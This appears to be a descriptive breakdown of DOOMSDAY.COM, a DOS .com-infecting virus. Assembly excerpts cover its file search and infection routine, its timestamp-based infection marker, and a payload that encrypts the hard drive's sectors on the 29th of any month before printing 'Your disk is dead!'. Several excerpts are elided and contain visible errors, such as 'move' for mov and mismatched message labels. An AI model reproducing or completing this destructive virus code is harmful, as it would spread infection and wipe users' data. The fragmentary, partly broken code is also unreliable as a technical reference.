

# DOOMSDAY.COM

## Replication:

**Begins in root directory.**

**Searches for .com files.**

```

search_spec:
  db '*.com', 0
first_search:
  mov ah, 4eh
continue_search:
  xor cx, cx
  mov dx, si
  add dx, [si+codelen+1]
  add dx, search_spec-begin+1
  int 21h
  jnc check_file
  cmp byte ptr[si+codelen+1], 1
  jne chg_current
  jmp disk_kill
next_search:
  mov ah, 4fh
  jmp continue_search

```

**If file was found...**

**Then search in current directory.**

**Continue searching...**

**If all valid files are infected...**

## Payload:

**Check if it is the 29<sup>th</sup> of any month.**

**If so, begin to destroy disk**

**Destructive code copied to 0100 hex in memory, so there is plenty of room.**

**Proceeds to read in and encrypt the logical sectors of the hard drive, five at a time.**

**It is nearly impossible to retrieve the data, so the virus effectively destroys the disk.**

```

disk_kill:
  mov ah, 2ah
  int 21h
  cmp dl, 29
  je reloc_kill
  call jump_top
reloc_kill:
  mov di, 0100h
  add si, killer-begin+1
  mov cx, end_kill-killer
  rep movsb
  call jump_top
jump_top:
  mov dx, 0100h
  push dx
  ret
...

```

```

check_file:
  mov dx, [si+codelen+1+29]
  and dl, 31
  cmp dl, 14
  je next_search
  cmp word ptr[si+codelen+1+33], 00ffh
  jb next_search
  cmp word ptr[si+codelen+1+33], 0f000h
  ja next_search
infect_file:
  mov dx, [si+codelen+1+29]
  push dx
  mov dx, [si+codelen+1+31]
  push dx
  mov dx, [si+codelen+1+33]
  push dx
  move byte ptr[si+codelen+1+3], dx
  sub dx, 3
  move [si+codelen+1+4], dx
  pop dx
  push dx
  add dx, 100h+begin-decrypt-1
  mov [si+mod_area_1-begin+1+1], dx
  mov di, si
  push si
  add si, codelen+1+37
  add di, file_name-begin+1+1
  mov dx, di
  mov cx, 13
  rep movsb
  pop si
  sub dx, 1
  add dx, [si+codelen+1]
  ...

```

## Detection:

**Get file information.**

**If seconds marker = 28, continue searching...**

**If length of file < 255, continue searching...**

**If length of file > 61440, continue searching...**

**Note:**

Files are considered infected if the seconds in the timestamp are equal to "28"

## Infection:

**Get file timestamp, datestamp and file length.**

The first 4 bytes are read and stored in the viral code. Memory location adjustments are written over the first 3 original bytes. An encryption key for the virus is written over the fourth byte.

Using the key, the first section of the virus is encrypted in memory and written to the end of the file. The second section is then copied over the first in memory. Control is given to this new section, which encrypts the old version of this second section and copies it to the end of the file (just after the encrypted first section).

Lastly, the timestamp is adjusted to "28".

**Note:**

Only files between 255 and 61440 bytes are valid.

## Insult:

**Just after virus activates, an identifying message appears.**

```

message_1:
  db 'Your disk is dead! $'
message2:
  db 'Long live DOOMSDAY 1.0$'
disp_message:
  ...
  mov dx, message1-killer+0100h
  mov dx, message2-killer+0100h
  ...

```

**Note:**

The seconds in the timestamp are not show in a directory listing.